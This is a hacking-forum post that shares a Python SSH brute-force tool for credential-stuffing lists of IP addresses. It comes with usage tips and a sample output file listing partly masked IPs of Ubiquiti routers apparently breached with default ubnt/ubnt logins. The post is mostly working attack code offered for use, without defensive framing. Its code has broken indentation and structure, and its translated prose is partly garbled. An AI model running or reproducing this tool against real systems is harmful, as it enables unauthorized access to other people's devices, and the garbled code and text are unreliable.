

Forum:[Hack Forums](#)

Thread: [SSH Brute Force Tool \[Python\]](#)

DarkMethods - July 24, 2015, 8:41 am

The following script is a dictionary attack tool written in Python for SSH...

Code import paramiko, sys, Queue, threading

```
class SSHBrute(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            ip,user,passwd = self.queue.get()
            self.kraken(ip,user,passwd)
            self.queue.task_done()

def kraken(self,ip,user,passwd):
    try:
        if ip in cracked: return False

        if '%user%' in str(passwd):
            passwd = passwd.split("%")[0] + user + passwd.split("%")[2]
        if '%User%' in str(passwd):
            pwd = user + passwd.split("%")[2]
            passwd = passwd.split("%")[0]+pwd.title()
        if str(passwd) == '%null%':
            passwd = ""

        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip, username=user, password=passwd, timeout=35)
        raw.write(ip+' '+user+' '+passwd+'\n')
        raw.flush()
        chan = ssh.get_transport().open_session()
        chan.settimeout(35)
        chan.exec_command('uname -a')
        data = chan.recv(1024)

        if len(data) == 0:
            nologs.write(ip+' '+user+' '+passwd+'\n')
            nologs.flush()
            return False

        val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
        val.flush()
        cracked.append(ip)
        chan.close()
```

```

        ssh.close()
        return True
    except Exception, e:
        if 'uthent' in str(e):
            if dbg == 'bad':
                bad.write(ip+'\n')
                bad.flush()
            #print '\r[+]Tried '+ip+' '+user+' '+passwd+' '
            ssh.close()
            return False
        #print ip, str(e)
        ssh.close()
        return False

```

```

def brutemain():
    if len(sys.argv) < 2:
        print ""
    SSH Brute Force Tool
    Author: Avunit(DarkMethods)
    Usage:
        bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*
    *The filter Switch Takes Either the word "bad" or "no".
    If you supply the word bad, it filters in bad.txt only the ips
    which indeed support ssh AUTH and password didn't work""
    return False
    ThreadNR = int(sys.argv[1])
    queue = Queue.Queue(maxsize=20000)
    try:
        i = 0
        for i in range(ThreadNR):
            t = SSHBrute(queue)
            t.daemon = True
            t.start()
            i += 1
    except Exception, e:
        print 'Cant start more than',i,'Threads!'

```

```

global bad
global val
global nologs
global cracked
global raw
cracked = []
bad = open('bad.txt','w')
val = open('valid.txt','a')
nologs = open('nologins.txt','a')
raw = open('raw.txt','a')
with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines()
with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines()
global dbg
dbg = str(sys.argv[5])

```

```

try:
    for password in passwords:
        for user in users:
            for ip in ips:
                queue.put((ip,user,password))
except:
    pass

queue.join()

```

```

if __name__ == "__main__":
    brutemain()

```

I gave a small example of usage if you started without arguments.

I advise you once passed through IPs with a single username and password , and bad argument to remain only accepting IPs logged in via SSH . Then take the bad.txt IPs and use them only on them.

Face 3 files : raw.txt nologin.txt and valid.txt

In raw.txt it will be made all those who * sh disabled, and those log normal.

In nologin.txt will be made only women having a ssh transport , or have no active shell , and shell valid.txt those who actively and they will add the banner (uname -a)

valid.txt example :

Code 68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips
unknown

68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips
unknown

68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown

68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown

If you want to be verbose , and see what happens, remove the comment print sites .

It must paramiko , but who really wants to use it to handle and a single . This is one of the reasons why I have not compiled any win for any for linux .

Your opinions and possible improvements . Do not give money to so-called " scanners " or " archives " private .